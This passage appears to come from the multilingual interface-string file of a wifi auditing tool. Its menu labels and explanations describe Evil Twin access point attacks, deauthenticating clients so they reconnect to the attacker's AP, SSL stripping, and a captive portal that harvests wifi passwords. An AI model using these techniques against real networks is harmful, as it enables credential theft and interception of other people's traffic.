arr["PORTUGUESE",259]="6. Ataque Evil Twin AP com sniffing" arr["RUSSIAN",259]="6. Атака Злой Двойник ТД со сниффингом" arr["GREEK",259]="6. Επίθεση Evil Twin AP με sniffing" arr["ITALIAN",259]="6. Attacco Evil Twin AP con sniffing" arr["POLISH",259]="6. Atak Evil Twin AP ze sniffingiem" arr["GERMAN",259]="6. Evil Twin AP Angriff mit Sniffing" arr["TURKISH",259]="6. Şeytani İkiz AP Saldırısı sniffing ile birlikte" arr["ARABIC",259]="6. مع الشم Evil Twin AP هجوم" arr["CHINESE",259]="6. 邪恶双胞胎 AP 流量嗅探攻击" arr["ENGLISH",260]="6. Smooth mode Enterprise Evil Twin" arr["SPANISH",260]="6. Evil Twin Enterprise modo smooth" arr["FRENCH",260]="6. Evil Twin Enterprise mode silencieux" arr["CATALAN",260]="6. Evil Twin Enterprise mode smooth" arr["PORTUGUESE",260]="6. Evil Twin Enterprise (discreto)" arr["RUSSIAN",260]="6. Smooth режим Enterprise Evil Twin" arr["GREEK",260]="6. Smooth mode Enterprise Evil Twin" arr["ITALIAN",260]="6. Evil Twin Enterprise modalità smooth" arr["POLISH",260]="6. Enterprise Evil Twin w trybie smooth" arr["GERMAN",260]="6. Smooth-Modus Enterprise Evil Twin" arr["TURKISH",260]="6. Smooth mod Enterprise Evil Twin" arr["ARABIC",260]="6. Smooth mode Enterprise Evil Twin وضع" arr["CHINESE",260]="6. 平滑模式下针对企业级加密的邪恶双胞胎" arr["ENGLISH",261]="7. Evil Twin AP attack with sniffing and bettercap-sslstrip2" arr["SPANISH",261]="7. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2" arr["FRENCH",261]="7. Attaque Evil Twin avec capture des données et bettercap-sslstrip2" arr["CATALAN",261]="7. Atac Evil Twin AP amb sniffing i bettercap-sslstrip2" arr["PORTUGUESE",261]="7. Ataque Evil Twin AP com sniffing e bettercap-sslstrip2" arr["RUSSIAN",261]="7. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2" arr["GREEK",261]="7. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2" arr["ITALIAN",261]="7. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2" arr["POLISH",261]="7. Ataku Evil Twin AP ze sniffingiem i bettercap-sslstrip2" arr["GERMAN",261]="7. Evil Twin AP Angriff mit Sniffing und bettercap-sslstrip2" arr["TURKISH",261]="7. Şeytani İkiz AP saldırısı sniffing ve bettercap-sslstrip2 ile birlikte" arr["ARABIC",261]="7. bettercap-sslstrip2 مع الشم و Evil Twin AP هجوم" arr["CHINESE",261]="7. 使用嗅探和 bettercap-sslstrip2 进行邪恶双胞胎 AP 攻击" arr["ENGLISH",262]="without sniffing, captive portal" arr["SPANISH",262]="sin sniffing, portal cautivo" arr["FRENCH",262]="sans capture des données avec portail captif" arr["CATALAN",262]="sense sniffing, portal captiu" arr["PORTUGUESE",262]="sem sniffing, portal cativo" arr["RUSSIAN",262]="без сниффинга, перехватывающий портал" arr["GREEK",262]="χωρίς sniffing, captive portal" arr["ITALIAN",262]="senza sniffing, captive portal" arr["POLISH",262]="bez sniffingu, captive portal" arr["GERMAN",262]="ohne Sniffing, Captive Portal" arr["TURKISH",262]="sniffing olmadan, esaret portalı" arr["ARABIC",262]="بدون شم مع البوابة الأسيرة" arr["CHINESE",262]="没有嗅探,俘虏门户" arr["ENGLISH",263]="9. Evil Twin AP attack with captive portal (monitor mode needed)" arr["SPANISH",263]="9. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" arr["FRENCH",263]="9. Attaque Evil Twin avec portail captif (mode moniteur nécessaire)" arr["CATALAN",263]="9. Atac Evil Twin AP amb portal captiu (es requereix mode monitor)" arr["PORTUGUESE",263]="9. Ataque Evil Twin AP com portal cativo (modo monitor obrigatório)" arr["RUSSIAN",263]="9. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" arr["GREEK",263]="9. Επίθεση Evil Twin AP με captive portal (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",263]="9. Attacco Evil Twin AP con captive portal (modalità monitor richiesta)" arr["POLISH",263]="9. Atak Evil Twin AP z captive portal (wymagany tryb monitorowania)" arr["GERMAN",263]="9. Evil Twin AP Angriff mit Captive Portal (monitor-Modus erforderlich)" arr["TURKISH",263]="9. Şeytani İkiz AP saldırısı esaret portalı ile birlikte (izleme modu gerekli)" arr["ARABIC",263]="9. (مطلوب monitor mode مع بوابة أسيرة (وضع Evil Twin AP هجوم" arr["CHINESE",263]="9. 邪恶双胞胎 AP 攻击与俘虏门户 (需要监听模式)" arr["ENGLISH",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["SPANISH",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" arr["FRENCH",264]="Le portail captif d'attaque tente d'obtenir l'un des clients du réseau nous fournir le mot de passe pour le réseau sans fil en entrant sur notre site" arr["CATALAN",264]="L'atac de portal captiu intenta aconseguir que un dels clients de la xarxa ens proporcioni la contrasenya de la xarxa wifi introduint-la al nostre portal" arr["PORTUGUESE",264]="O ataque com portal cativo tenta fazer com que um dos clientes da rede nos forneça a senha digitando-a em nosso site" arr["RUSSIAN",264]="Атака с перехватывающим порталом заключается в том, что мы ждём когда кто-то из пользователей введёт верный пароль от Wi-Fi на веб-странице, которую мы ему показываем" arr["GREEK",264]="Η επίθεση captive portal κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό πρόσβασης του δικτύου wifi βάζοντάς τον στο portal μας" arr["ITALIAN",264]="L'attacco con il captive portal cercherà di ottenere che uno dei clienti della rete ci dia la password per la rete wireless inserendola sul nostro sito" arr["POLISH",264]="Atak w portalu captive spróbuje uzyskać hasło WiFi od jednego z klientów sieci, który wprowadzi je w naszym portalu" arr["GERMAN",264]="Der Angriff des Captive-Portals wird versuchen, einen der Clients des Netzwerks dazu zu bringen, uns das WLAN-Passwort zur Verfügung zu stellen, indem sie es in unser Portal eingeben" arr["TURKISH",264]="Esaret Portalı saldırısı, ağ istemcilerinden birinin portalımıza girerek wifi ağı için şifre sağlamasını dener" arr["ARABIC",264]="عن طريق إدخالها على بوابتنا wifi يحاول هجوم البوابة الأسيرة أن يقوم أحد عملاء الشبكة بتزويدنا بكلمة مرور شبكة" arr["CHINESE",264]="强制门户攻击通过在我们的门户上输入 wifi 网络的密码来向其中一个网络客户端提供密码" arr["ENGLISH",265]="Evil Twin deauth" arr["SPANISH",265]="Desautenticación para Evil Twin" arr["FRENCH",265]="Dés-authentification pour Evil Twin" arr["CATALAN",265]="Desautenticació per Evil Twin" arr["PORTUGUESE",265]="Desautenticação para Evil Twin" arr["RUSSIAN",265]="Деаутентификация для Злого Двойника" arr["GREEK",265]="Evil Twin deauth" arr["ITALIAN",265]="Deautenticazione per Evil Twin" arr["POLISH",265]="Deautentykacja dla Evil Twin" arr["GERMAN",265]="Deauthentifizierung für das Evil Twin" arr["TURKISH",265]="Şeytani İkiz deauth" arr["ARABIC",265]="Evil Twin إلغاء المصادقة على" arr["CHINESE",265]="邪恶双胞胎死亡" arr["ENGLISH",266]="0. Return to Evil Twin attacks menu" arr["SPANISH",266]="0. Volver al menú de ataques Evil Twin" arr["FRENCH",266]="0. Retour au menu d'attaques Evil Twin" arr["CATALAN",266]="0. Tornar al menú d'atacs Evil Twin" arr["PORTUGUESE",266]="0. Voltar ao menu de ataques Evil Twin" arr["RUSSIAN",266]="0. Вернуться в меню атак Злой Двойник" arr["GREEK",266]="0. Επιστροφή στο μενού επιθέσεων Evil Twin" arr["ITALIAN",266]="0. Tornare al menu attacchi Evil Twin" arr["POLISH",266]="0. Wróć do menu Evil Twin Atak" arr["GERMAN",266]="0. Zurück zum Evil Twin Angriffsmenü" arr["TURKISH",266]="0. Şeytani İkiz saldırı menüsüne geri dön" arr["ARABIC",266]="0. Evil Twin ارجع إلى قائمة هجمات" arr["CHINESE",266]="0. 返回邪恶双胞胎攻击菜单" arr["ENGLISH",267]="If you can't deauth clients from an AP using an attack, choose another one :)" arr["SPANISH",267]="Si no consigues desautenticar a los clientes de un AP con un ataque, elige otro :)" arr["FRENCH",267]="Si vous ne pouvez pas dé-authentifier des clients avec une attaque, choisissez-en une autre :)" arr["CATALAN",267]="Si no aconsegueixes desautenticar als clients d'un AP amb un atac, tria un altre :)" arr["PORTUGUESE",267]="Se você não conseguir desautenticar clientes de um AP usando um ataque, escolha outro :)" arr["RUSSIAN",267]="Если вы не можете деаутентифицировать клиентов от ТД используя эту атаку, выберите другую :)" arr["GREEK",267]="Αν δεν μπορείτε να κάνετε deauth τους χρήστες από ένα AP χρησιμοποιώντας μία επίθεση, διαλέξτε κάποια άλλη :)" arr["ITALIAN",267]="Se non è possibile scollegare i clienti da un AP con un attacco, scegline un altro :)" arr["POLISH",267]="Jeśli nie możesz deautentykować klientów AP tym atakiem, wybierz inny :)" arr["GERMAN",267]="Wenn es Ihnen nicht gelingt, die Clients eines AP mit einem Angriff zu deaktivieren, wählen Sie einen anderen :)" arr["TURKISH",267]="Eğer deauth yapamadıysanız başka bir yöntem seçiniz :)" arr["ARABIC",267]="(: باستخدام هجوم ، فاختر واحدًا آخر AP إذا لم تتمكن من إلغاء مصادقة العملاء من" arr["CHINESE",267]="如果您无法迫使 AP 中的客户端取消身份验证,请选择另一个无线 AP 再次尝试攻击 :)" arr["ENGLISH",268]="With this attack, we'll try to deauth clients from the legitimate AP. Hopefully they'll reconnect to our Evil Twin AP" arr["SPANISH",268]="Con este ataque, intentaremos desautenticar a los clientes del AP legítimo. Con suerte reconectarán pero a nuestro Evil Twin AP" arr["FRENCH",268]="Avec cette attaque nous essayons de déconnecter des clients du point d'accès légitime en espérant qu'ils se connectent au notre Evil Twin AP" arr["CATALAN",268]="Amb aquest atac, intentarem desautenticar als clients del AP legítim. Amb sort reconectarán però al nostre Evil Twin AP" arr["PORTUGUESE",268]="Com este ataque, tentamos desautenticar clientes do AP legítimo e esperemos que eles se reconectem no nosso AP Evil Twin" arr["RUSSIAN",268]="Этой атакой мы попытаемся деаутентифицировать клиентов от легитимной ТД. В надежде, что они переподключатся к нашему Злому Двойнику ТД" arr["GREEK",268]="Με αυτήν την επίθεση, θα προσπαθήσουμε να κάνουμε deauth τους χρήστες από το αρχικό AP. Ας ελπίσουμε ότι θα επανασυνδεθούν στο Evil Twin AP μας" arr["ITALIAN",268]="Con questo attacco, si cerca di scollegare i clienti dal AP legittimo. Se abbiamo fortuna si riconnetteranno al nostro Evil Twin AP" arr["POLISH",268]="W tym ataku podejmiemy próbę deautentykacji legalnych klientów AP. Dzięki temu być może połączą się z naszym Evil Twin AP" arr["GERMAN",268]="Mit diesem Angriff werden wir versuchen, die Clients des legitimen AP zu deaktivieren. Hoffentlich werden sie sich wieder mit unserem Evil Twin AP verbinden" arr["TURKISH",268]="Bu saldırı ile, istemcileri meşru AP'den çıkarmaya çalışacağız. Umarız Şeytani İkiz AP'ye tekrar bağlanırlar" arr["ARABIC",268]="مع هذا الهجوم ، سنحاول إلغاء مصادقة العملاء من AP المشروعة. نأمل أن يعيدوا الاتصال بـ Evil Twin AP" arr["CHINESE",268]="通过这次攻击,我们将尝试从合法 AP 中取消客户端的身份验证。希望他们能重新连接到我们邪恶双胞胎的 AP" arr["ENGLISH",269]="To perform an Evil Twin attack you'll need to be very close to the target AP or have a very powerful wifi antenna. Your signal must reach clients equally strong or more than the legitimate AP" arr["SPANISH",269]="Para realizar un ataque Evil Twin necesitarás estar muy cerca del AP objetivo o tener una antena wifi muy potente. Tu señal ha de llegar a los clientes igual de fuerte o más que la del AP legítimo" arr["FRENCH",269]="Pour mener à bien une attaque Evil Twin il vous faut être dans de bonnes conditions d'émission et de réception tantôt avec le point d'accès qu'avec le(s) client(s)" arr["CATALAN",269]="Per realitzar un atac Evil Twin et caldrà estar molt a prop de l'AP objectiu o tenir una antena wifi molt potent. El teu senyal ha d'arribar als clients igual de fort o més que la de l'AP legítim" arr["PORTUGUESE",269]="Para fazer um ataque Evil Twin você precisa estar perto do alvo ou ter uma antena wifi muito poderosa. Seu sinal deve atingir os clientes igualmente forte ou mais do que o AP legítimo" arr["RUSSIAN",269]="Для выполнения атаки Злой Двойник, вы должны быть очень близко к целевой ТД или иметь очень мощную wifi антенну. Ваш сигнал должен достигать клиентов с такой же силой, или даже сильнее, чем легитимная ТД" arr["GREEK",269]="Για να πραγματοποιηθεί μία επίθεση Evil Twin θα πρέπει να είστε αρκετά κοντά στο AP-στόχο ή να έχετε μία πολύ ισχυρή κεραία. Το σήμα πρέπει να φτάνει στους χρήστες το ίδιο ή περισσότερο από το αρχικό AP" arr["ITALIAN",269]="Per un attacco Evil Twin c'è bisogno di essere vicino al punto di accesso obiettivo o di avere un'antenna wifi potente. Il segnale deve raggiungere i clienti come o piú forte che il legittimo AP" arr["POLISH",269]="Aby wykonać atak Evil Twin, musisz być bardzo blisko docelowego punktu dostępowego lub mieć bardzo silną antenę wifi. Twój sygnał musi dotrzeć do klientów con najmniej tak samo silny lub silniejszy od legalnego AP" arr["GERMAN",269]="Um einen Evil Twin Angriff durchzuführen, müssen Sie sehr nah am Ziel-AP sein oder eine sehr leistungsfähige WLAN-Antenne haben. Ihr Signal muss Kunden als stark oder mindestens stärker als die legitime AP erreichen" arr["TURKISH",269]="Şeytani İkiz bir saldırı gerçekleştirmek için hedef AP'ye çok yakın olmanız veya çok güçlü bir wifi antenine sahip olmanız gerekir. Sinyaliniz, clientlere yasal AP'den eşit veya daha güçlü olmalıdır" arr["ARABIC",269]="Evil Twin AP المشروعة. نأمل أن يعيدوا الاتصال بـ AP مع هذا الهجوم ، سنحاول إلغاء مصادقة العملاء من" arr["CHINESE",269]="要执行邪恶双胞胎攻击,您需要非常靠近目标 AP 或拥有较大功率的 wifi 天线用以屏蔽目标网络的信号。所以您的信号必须与目标 AP 等同强或更强" arr["ENGLISH",270]="Evil Twin attack just AP" arr["SPANISH",270]="Ataque Evil Twin solo AP" arr["FRENCH",270]="Attaque Evil Twin Rogue AP simple" arr["CATALAN",270]="Atac Evil Twin només AP" arr["PORTUGUESE",270]="Ataque Evil Twin só AP" arr["RUSSIAN",270]="Атака Злой Двойник, просто ТД" arr["GREEK",270]="Επίθεση Evil Twin μόνο AP" arr["ITALIAN",270]="Attacco Evil Twin solo AP" arr["POLISH",270]="Atak Evil Twin tylko AP" arr["GERMAN",270]="Evil Twin Angriff nur AP" arr["TURKISH",270]="Şeytani İkiz saldırısı sadece AP" arr["ARABIC",270]="AP فقط Evil Twin هجوم" arr["CHINESE",270]="邪恶双胞胎 仅攻击 AP" arr["ENGLISH",271]="Selected BSSID: \${pink_color}None\${normal_color}" arr["SPANISH",271]="BSSID seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",271]="BSSID sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",271]="BSSID seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",271]="BSSID selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",271]="Выбранная BSSID: \${pink_color}Нет\${normal_color}" arr["GREEK",271]="Επιλεγμένο BSSID: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",271]="BSSID selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",271]="Wybrany BSSID: \${pink_color}Brak\${normal_color}" arr["GERMAN",271]="Ausgewählte BSSID: \${pink_color}Keine\${normal_color}" arr["TURKISH",271]="Seçilen BSSID: \${pink_color}None\${normal_color}" arr["ARABIC",271]="\${pink_color}None\${blue_color} :المختار BSSID\${normal_color}" arr["CHINESE",271]="已选择的 BSSID: \${pink_color}None\${normal_color}" arr["ENGLISH",272]="Deauthentication chosen method: \${pink_color}\${et_dos_attack}\${normal_color}" arr["SPANISH",272]="Método elegido de desautenticación: \${pink_color}\${et_dos_attack}\${normal_color}" arr["FRENCH",272]="Méthode de dés-authentification: \${pink_color}\${et_dos_attack}\${normal_color}" arr["CATALAN",272]="Mètode elegit d'desautenticació: \${pink_color}\${et_dos_attack}\${normal_color}" arr["PORTUGUESE",272]="Método de desautenticação escolhido: \${pink_color}\${et_dos_attack}\${normal_color}" arr["RUSSIAN",272]="Выбор метода деаутентификации: \${pink_color}\${et_dos_attack}\${normal_color}" arr["GREEK",272]="Επιλεγμένη μέθοδος για deauthentication: \${pink_color}\${et_dos_attack}\${normal_color}" arr["ITALIAN",272]="Metodo deauth scelto: \${pink_color}\${et_dos_attack}\${normal_color}" arr["POLISH",272]="Wybrana metoda deautentykacji: \${pink_color}\${et_dos_attack}\${normal_color}" arr["GERMAN",272]="Designierte Methode der De-Authentifizierung: \${pink_color}\${et_dos_attack}\${normal_color}" arr["TURKISH",272]="Deauthentication seçilen yöntem: \${pink_color}\${et_dos_attack}\${normal_color}" arr["ARABIC",272]="\${pink_color}\${et_dos_attack}\${blue_color} :الطريقة المختارة لإلغاء المصادقة\${normal_color}" arr["CHINESE",272]="已选择解除认证的方法: \${pink_color}\${et_dos_attack}\${normal_color}" arr["ENGLISH",273]="Selected channel: \${pink_color}None\${normal_color}" arr["SPANISH",273]="Canal seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",273]="Canal sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",273]="Canal seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",273]="Canal selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",273]="Выбранный канал: \${pink_color}Нет\${normal_color}" arr["GREEK",273]="Επιλεγμένο κανάλι: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",273]="Canale selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",273]="Wybrany kanał: \${pink_color}Brak\${normal_color}" arr["GERMAN",273]="Ausgewählter Kanal: \${pink_color}Keinen\${normal_color}" arr["TURKISH",273]="Seçilen kanal: \${pink_color}None\${normal_color}" arr["ARABIC",273]="\${pink_color}None\${blue_color} :القناة المختارة\${normal_color}" arr["CHINESE",273]="当前信道: \${pink_color}None\${normal_color}" arr["ENGLISH",274]="Selected ESSID: \${pink_color}None\${normal_color}" arr["SPANISH",274]="ESSID seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",274]="ESSID sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",274]="ESSID seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",274]="ESSID selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",274]="Выбранная ESSID: \${pink_color}Нет\${normal_color}" arr["GREEK",274]="Επιλεγμένο ESSID: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",274]="ESSID selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",274]="Wybrany ESSID: \${pink_color}Brak\${normal_color}" arr["GERMAN",274]="Ausgewählte ESSID: \${pink_color}Keines\${normal_color}" arr["TURKISH",274]="Seçilen ESSID: \${pink_color}None\${normal_color}" arr["ARABIC",274]="\${pink_color}None\${blue_color} :المختار ESSID\${normal_color}" arr["CHINESE",274]="已选择的 ESSID: \${pink_color}None\${normal_color}" arr["ENGLISH",275]="In addition to the software requirements that already meet if you get here, you need to provide target AP data to carry out the attack" arr["SPANISH",275]="Además de los requisitos de software, que ya cumples si has llegado hasta aquí, es necesario proporcionar los datos del AP objetivo para llevar a cabo el ataque" arr["FRENCH",275]="Maintenant que les dépendances ont étés vérifiées il vous faut saisir les donnés sur le point d'accès cible" arr["CATALAN",275]="A més dels requisits de software, que ja compleixes si has arribat fins aquí, cal proporcionar les dades de l'AP objectiu per dur a terme l'atac" arr["PORTUGUESE",275]="Além dos requisitos de software, você precisa fornecer dados do AP objetivo para realizar o ataque" arr["RUSSIAN",275]="В дополнение к требованиям по программному обеспечению, которым вы соответствуете, вам нужно обеспечить Интернет подключение вашей ТД для выполнения атаки" arr["GREEK",275]="Εκτός από τις απαιτήσεις του λογισμικού οι οποίες πληρούνται αν έχετε φτάσει έως εδώ, χρειάζεται να παρέχετε δεδομένα AP-στόχου για να πραγματοποιηθεί η επίθεση" arr["ITALIAN",275]="Oltre ai requisiti software che già soddisfi se sei arrivato qui, è necessario fornire i dati dell'AP obiettivo per effettuare l'attacco" arr["POLISH",275]="Oprócz wymogów dotyczących oprogramowania, które już spełniłeś, konieczne jest dostarczenie danych AP docelowego do przeprowadzenia ataku" arr["GERMAN",275]="Zusätzlich zu den Softwareanforderungen, die Sie bereits erfüllen, wenn Sie hier angekommen sind, ist es notwendig, die Daten des Ziel-AP bereitzustellen, um den Angriff auszuführen" arr["TURKISH",275]="Buraya zaten ulaşmış olduğunuz yazılım gereksinimlerine ek olarak, saldırıyı gerçekleştirmek için hedef AP verileri sağlamanız gerekir" arr["ARABIC",275]="المستهدفة لتنفيذ الهجوم AP بالإضافة إلى متطلبات البرامج التي تفي بالفعل إذا وصلت إلى هنا ، فأنت بحاجة إلى توفير بيانات" arr["CHINESE",275]="到这里除了已经满足的软件包要求外,还需要提供目标 AP 数据才能进行攻击" arr["ENGLISH",276]="On top of this screen you can see all that is needed to perform the attack. If any of the parameters has no value, you can enter it manually, or you can go back to select a target and then return here" arr["SPANISH",276]="En la parte superior de esta pantalla puedes ver todo lo que hace falta para realizar el ataque. Si alguno de los parámetros no tiene valor, puedes introducirlo manualmente, o puedes retroceder para seleccionar un objetivo y regresar aquí" arr["FRENCH",276]="Vous pouvez voir dans la partie supérieure de l'écran tout ce qui est nécessaire à l'attaque. Si l'un des paramètres est en blanc vous pouvez l'entrer manuellement ou bien vous pouvez revenir en arrière pour sélectionner une cible et revenir ici" arr["CATALAN",276]="A la part superior d'aquesta pantalla pots veure tot el que cal per realitzar l'atac. Si algun dels paràmetres no té valor, pots introduir-lo manualment, o pots retrocedir per a seleccionar un objectiu i tornar aquí" arr["PORTUGUESE",276]="No topo da tela você pode ver tudo o que é necessário para realizar o ataque. Se qualquer um dos parâmetros não tem nenhum valor, pode introduzi-los manualmente, ou você pode voltar para selecionar um alvo e voltar aqui" arr["RUSSIAN",276]="Наверху экрана вы можете увидеть всё, что вам нужно для выполнения этой атаки. Если какие-либо из этих параметров не имеют значения, вы можете ввести их вручную или вы можете вернуться назад для выбора цели, а затем вернуться сюда" arr["GREEK",276]="Πάνω από αυτή την οθόνη μπορείτε να δείτε ό,τι χρειάζεται για να εκτελεστεί η επίθεση. Αν κάποια παραμέτρος δεν έχει τιμή, μπορείτε να την εισάγετε χειροκίνητα, ή μπορείτε να πάτε πίσω για να επιλέξετε εαν στόχο και μετά να επιστρέψετε εδώ" arr["ITALIAN",276]="In cima a questa schermata è possibile vedere tutto ciò che è necessario per eseguire l'attacco. Se uno dei parametri non ha alcun valore, è possibile inserirlo manualmente, oppure si può tornare indietro per selezionare un target e tornare qui" arr["POLISH",276]="U góry tego ekranu można zobaczyć wszystko, co jest potrzebne do przeprowadzenia ataku. Jeśli któryś z parametrów nie ma wartości, możesz go wprowadzić ręcznie lub wrócić do wybranego celu" arr["GERMAN",276]="Oben auf diesem Bildschirm können Sie alles sehen, was Sie für den Angriff benötigen. Wenn einer der Parameter keinen Wert hat, können Sie ihn manuell eingeben, oder Sie können zurückgehen, um ein Ziel auszuwählen und hierher zurückzukehren" arr["TURKISH",276]="Bu ekranın tepesinde, saldırıyı gerçekleştirmek için gereken her şeyi görebilirsiniz. Parametrelerden herhangi birinin değeri yoksa, manuel olarak girebilirsiniz veya bir hedef seçmek için geri dönüp buraya dönebilirsiniz" arr["ARABIC",276]="في الجزء العلوي من هذه الشاشة يمكنك رؤية كل ما هو مطلوب لتنفيذ الهجوم. إذا لم يكن لأي من المعلمات قيمة ، يمكنك إدخالها يدويًا ، أو يمكنك الرجوع لتحديد هدف ثم العودة هنا" arr["CHINESE",276]="在此屏幕顶部,您可以看到执行攻击所需的所有内容。如果有一个参数没有值,可以手动输入,也可以回头选择一个目标再返回这里" arr["ENGLISH",277]="Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",277]="¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",277]="Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",277]="¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",277]="Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",277]="Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",277]="Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",277]="Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",277]="Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",277]="Wollen Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",277]="Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",277]="\${normal_color}\${visual_choice} \${green_color}هل هل تريد المتابعة؟\${normal_color}" arr["CHINESE",277]="你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",278]="Deauthentication chosen method: \${pink_color}None\${normal_color}" arr["SPANISH",278]="Método elegido de desautenticación: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",278]="Méthode de dés-authentification: \${pink_color}Aucun\${normal_color}" arr["CATALAN",278]="Mètode elegit d'desautenticació: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",278]="Método de desautenticação escolhido: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",278]="Выбор метода деаутентификации: \${pink_color}Нет\${normal_color}" arr["GREEK",278]="Επιλεγμένη μέθοδος deauthentication: \${pink_color}Καμία\${normal_color}" arr["ITALIAN",278]="Metodo deauth scelto: \${pink_color}Nessuno\${normal_color}" arr["POLISH",278]="Wybrana metoda deautentykacji: \${pink_color}Brak\${normal_color}" arr["GERMAN",278]="Designierte Methode der De-Authentifizierung: \${pink_color}Keine\${normal_color}" arr["TURKISH",278]="Deauthentication seçilen yöntem: \${pink_color}None\${normal_color}" arr["ARABIC",278]="\${pink_color}None\${blue_color} :الطريقة المختارة لإلغاء المصادقة\${normal_color}" arr["CHINESE",278]="已选择解除认证的方法: \${pink_color}None\${normal_color}" arr["ENGLISH",279]="Select another interface with internet access:" arr["SPANISH",279]="Selecciona otra interfaz que tenga acceso a internet:" arr["FRENCH",279]="Choisissez une autre interface qui ait accès à internet:" arr["CATALAN",279]="Selecciona una altra interfície que tingui accés a internet:" arr["PORTUGUESE",279]="Selecione outra interface que tem acesso à internet:" arr["RUSSIAN",279]="Выбор другого интерфейса с Интернет доступом:" arr["GREEK",279]="Επιλέξτε άλλη διεπαφή με προσβαση στο διαδίκτυο:" arr["ITALIAN",279]="Selezionare un'altra interfaccia che ha accesso a internet:" arr["POLISH",279]="Wybierz inny interfejs, który ma dostęp do internetu:" arr["GERMAN",279]="Wählen Sie ein anderes Interface mit Internetzugang:" arr["TURKISH",279]="Başka bir arayyüz seçiniz:" arr["ARABIC",279]=":حدد واجهة أخرى موصولة مع الإنترنت" arr["CHINESE",279]="选择另一个可以访问网络的接口:" arr["ENGLISH",280]="On this screen, it's supposed an additional interface to provide internet access is chosen, but you don't have anyone at this moment" arr["SPANISH",280]="En esta pantalla, se supone que deberías elegir otro interfaz adicional para proporcionar acceso a internet, pero no dispones de ninguno en este momento" arr["FRENCH",280]="Sur cet écran vous êtes censé choisir une interface supplémentaire connectée à internet mais vous n'en avez pas en ce moment" arr["CATALAN",280]="En aquesta pantalla, se suposa que hauries de triar un altre interfície addicional per a proporcionar accés a internet, però no disposes de cap en aquest moment" arr["PORTUGUESE",280]="Nesta tela você deveria escolher uma interface adicional para fornecer acesso à internet, mas você não tem nenhuma neste momento" arr["RUSSIAN",280]="На этом экране предполагается, что выбран дополнительный интерфейс для предоставления Интернет доступа, но у вас его на текущий момент нет" arr["GREEK",280]="Σε αυτή την οθόνη, υποτίθεται πως επιλέγεται μία επιπρόσθετη διεπαφή που παρέχει πρόσβαση στο διαδίκτυο, αλλά δεν έχετε κανέναν αυτή τη στιγμή" arr["ITALIAN",280]="In questa schermata, si suppone che devi scegliere un'interfaccia aggiuntiva per fornire l'accesso a internet, peró in questo momento non ne hai nessuna" arr["POLISH",280]="Na tym ekranie powinieneś wybrać inny dodatkowy interfejs, aby zapewnić dostęp do internetu, ale nie masz w tym momencie żadnego" arr["GERMAN",280]="Auf diesen Bildschirm sollten Sie ein anderes zusätzliches Interface für den Internetzugang auswählen, aber Sie haben derzeit keins" arr["TURKISH",280]="Bu ekranda, internet erişimi sağlamak için ek bir arayüz gerekiyordu, ancak şu anda kimseye sahip değilsiniz" arr["ARABIC",280]="من المفترض أن تختار في هذه الشاشة واجهة إضافية متصلة بالإنترنت ولكن ليس لديك واحدة في الوقت الحالي" arr["CHINESE",280]="在这个窗口中,应该选择一个额外的接口来提供互联网访问,但现在没有任何接口" arr["ENGLISH",281]="The interface \${current_iface_on_messages} you have already selected is not a wifi card. This attack needs a wifi card selected" arr["SPANISH",281]="El interfaz \${current_iface_on_messages} que tienes seleccionado no es una tarjeta wifi. Este ataque necesita que la interfaz seleccionada sea wifi" arr["FRENCH",281]="L'interface \${current_iface_on_messages} que vous avez sélectionnée n'est pas une carte wifi. Cette attaque exige que l'interface sélectionnée soit une carte wifi" arr["CATALAN",281]="La interfície \${current_iface_on_messages} que tens seleccionada no és una targeta wifi. Aquest atac necessita que la interfície seleccionada sigui wifi" arr["PORTUGUESE",281]="A interface \${current_iface_on_messages} que você selecionou não é wifi. Este ataque requer uma interface wifi selecionada" arr["RUSSIAN",281]="Интерфейс \${current_iface_on_messages}, который вы выбрали не является wifi картой. Эта атака требует выбрать wifi карту" arr["GREEK",281]="Η διεπαφή \${current_iface_on_messages} που έχετε ήδη επιλέξει δεν έιναι κάρτα 